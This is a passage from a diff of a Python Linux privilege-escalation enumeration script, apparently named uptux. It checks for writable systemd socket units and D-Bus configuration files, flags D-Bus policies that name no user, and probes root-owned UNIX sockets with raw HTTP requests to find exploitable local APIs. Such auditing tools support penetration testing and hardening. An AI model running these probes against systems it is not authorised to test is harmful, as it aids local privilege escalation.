||||||
|
|
||||||
|
# Test for write access to any socket files.
|
||||||
|
# Will resolve symlinks to their target and also check for broken links.
|
||||||
|
text = 'Found writeable socket unit files:'
|
||||||
|
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||||
|
box = 'vuln'
|
||||||
|
tee("")
|
||||||
|
tee("Checking permissions on socket unit files...",
|
||||||
|
box='ok')
|
||||||
|
check_file_permissions(file_paths=units,
|
||||||
|
files_message_text=text,
|
||||||
|
dirs_message_text=text2,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
# Check for write access to any socket files created by a service.
|
||||||
|
# This can be interesting - I've seen a systemd service run a REST
|
||||||
|
# API on a AF_UNIX socket. This would be missed by normal privesc
|
||||||
|
# checks.
|
||||||
|
# Thhs regex below is used to extract command lines.
|
||||||
|
regex = re.compile(r'^Listen.*?=[!@+-]*(.*?$)',
|
||||||
|
re.MULTILINE)
|
||||||
|
|
||||||
|
# We don't pass message info to this function as we need to perform more
|
||||||
|
# processing on the output to determine what is writeable.
|
||||||
|
tee("")
|
||||||
|
tee("Checking for write access to AF_UNIX sockets...",
|
||||||
|
box='ok')
|
||||||
|
socket_files = regex_vuln_search(file_paths=units,
|
||||||
|
regex=regex,
|
||||||
|
message_text='',
|
||||||
|
message_box='')
|
||||||
|
|
||||||
|
# Another helper function to take the extracted commands and check for
|
||||||
|
# write permissions.
|
||||||
|
text = ('You have write access to AF_UNIX socket files invoked by a'
|
||||||
|
' systemd service.\n'
|
||||||
|
'This could be interesting. \n'
|
||||||
|
'You can attach to these files to look for an exploitable API.')
|
||||||
|
box = 'sus'
|
||||||
|
check_command_permission(commands=socket_files,
|
||||||
|
message_text=text,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
|
||||||
|
def uptux_check_socket_apis():
|
||||||
|
"""Look for web servers on UNIX domain sockets"""
|
||||||
|
# Use Linux ss tool to find sockets in listening state
|
||||||
|
command = 'ss -xlp -H state listening'
|
||||||
|
output = shell_exec(command)
|
||||||
|
|
||||||
|
# We get Unicode back from the above command, let's fix
|
||||||
|
output = str(output)
|
||||||
|
|
||||||
|
root_sockets = []
|
||||||
|
socket_replies = {}
|
||||||
|
|
||||||
|
# We want to grab all the strings that look like socket paths
|
||||||
|
sockets = re.findall(r' (/.*?) ', output)
|
||||||
|
abstract_sockets = re.findall(r' (@.*?) ', output)
|
||||||
|
|
||||||
|
for socket_path in sockets:
|
||||||
|
# For now, we are only interested in sockets owned by root
|
||||||
|
if os.path.exists(socket_path) and os.stat(socket_path).st_uid == 0:
|
||||||
|
root_sockets.append(socket_path)
|
||||||
|
|
||||||
|
tee("Trying to connect to {} unix sockets owned by uid 0..."
|
||||||
|
.format(len(root_sockets)), box='ok')
|
||||||
|
tee("")
|
||||||
|
|
||||||
|
# Cycle through each and try to send a raw HTTP GET
|
||||||
|
for socket_target in root_sockets:
|
||||||
|
|
||||||
|
# Define a raw HTTP GET request
|
||||||
|
http_get = ('GET / HTTP/1.1\r\n'
|
||||||
|
'Host: localhost\r\n'
|
||||||
|
'\r\n\r\n')
|
||||||
|
|
||||||
|
# Try to interact with the socket like a web API
|
||||||
|
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||||
|
client.settimeout(5)
|
||||||
|
try:
|
||||||
|
client.connect(socket_target)
|
||||||
|
client.sendall(http_get.encode())
|
||||||
|
|
||||||
|
reply = client.recv(8192).decode()
|
||||||
|
|
||||||
|
# If we get a reply to this, we assume it is an API
|
||||||
|
if reply:
|
||||||
|
socket_replies[socket_target] = reply
|
||||||
|
|
||||||
|
except (socket.error, UnicodeDecodeError):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# If we have some replies, print to console
|
||||||
|
# Hack-ish string replacement to get a nice indent
|
||||||
|
if socket_replies:
|
||||||
|
tee("The following root-owned sockets replied as follows",
|
||||||
|
box='sus')
|
||||||
|
for socket_path in socket_replies:
|
||||||
|
tee(" " + socket_path + ":")
|
||||||
|
tee(" " + socket_replies[socket_path]
|
||||||
|
.replace('\n', '\n '))
|
||||||
|
tee("")
|
||||||
|
|
||||||
|
|
||||||
|
def uptux_check_dbus_issues():
|
||||||
|
"""Inspect D-Bus configuration items"""
|
||||||
|
units = set()
|
||||||
|
mask = '*.conf'
|
||||||
|
units = find_system_files(known_dirs=DBUS_DIRS,
|
||||||
|
search_mask=mask)
|
||||||
|
|
||||||
|
tee("Found {} D-Bus conf files to analyse...\n".format(len(units)),
|
||||||
|
box='ok')
|
||||||
|
|
||||||
|
# Test for write access to any files.
|
||||||
|
# Will resolve symlinks to their target and also check for broken links.
|
||||||
|
text = 'Found writeable D-Bus conf files:'
|
||||||
|
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||||
|
box = 'vuln'
|
||||||
|
tee("")
|
||||||
|
tee("Checking permissions on D-Bus conf files...",
|
||||||
|
box='ok')
|
||||||
|
check_file_permissions(file_paths=units,
|
||||||
|
files_message_text=text,
|
||||||
|
dirs_message_text=text2,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
# Checking for overly permission policies in D-Bus configuration files.
|
||||||
|
# For example, normally "policy" is defined as a username. When defined in
|
||||||
|
# an XML tag on its own, it applies to everyone.
|
||||||
|
tee("")
|
||||||
|
tee("Checking for overly permissive D-Bus configuration rules...",
|
||||||
|
box='ok')
|
||||||
|
|
||||||
|
regex = re.compile(r'<policy>.*?</policy>',
|
||||||
|
re.MULTILINE|re.DOTALL)
|
||||||
|
|
||||||
|
text = ('These D-Bus policies may be overly permissive as they do not'
|
||||||
|
' specify a user or group.')
|
||||||
|
box = 'sus'
|
||||||
|
regex_vuln_search(file_paths=units,
|
||||||
|
regex=regex,
|
||||||
|
message_text=text,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
########################## Individual Checks Complete #########################
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Main function"""
|
||||||
|
print(BANNER)
|
||||||
|
|
||||||
|
# Dynamically build list of checks to execute.
|
||||||
|
uptux_checks = build_checks_list()
|
||||||
|
|
||||||
|
# Use the handler to execute each check.
|
||||||
|
for check in uptux_checks:
|
||||||
|
check_name = check.__name__
|
||||||
|
check_desc = check.__doc__
|
||||||
|
check_handler(check, check_name, check_desc)
|
||||||
|
|
||||||
|
# Good luck!
|
||||||
|
tee("")
|
||||||
|
tee("All done, good luck!", box='note')
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
Loading…
Reference in New Issue
Block a user